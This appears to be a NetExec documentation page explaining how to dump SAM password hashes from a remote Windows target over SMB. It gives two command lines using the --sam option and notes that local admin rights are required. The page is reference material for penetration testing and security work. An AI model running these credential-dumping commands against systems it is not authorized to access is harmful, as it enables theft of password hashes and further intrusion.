Dump SAM

Dump SAM hashes using methods from secretsdump.py

{% hint style="warning" %}
You need at least local admin privilege on the remote target, use option --local-auth if your user is a local account
{% endhint %}

nxc smb <target> -u <username> -p <password> --sam

If this command fail you can also try the old method (similar to secretdump)

nxc smb <target> -u <username> -p <password> --sam secdump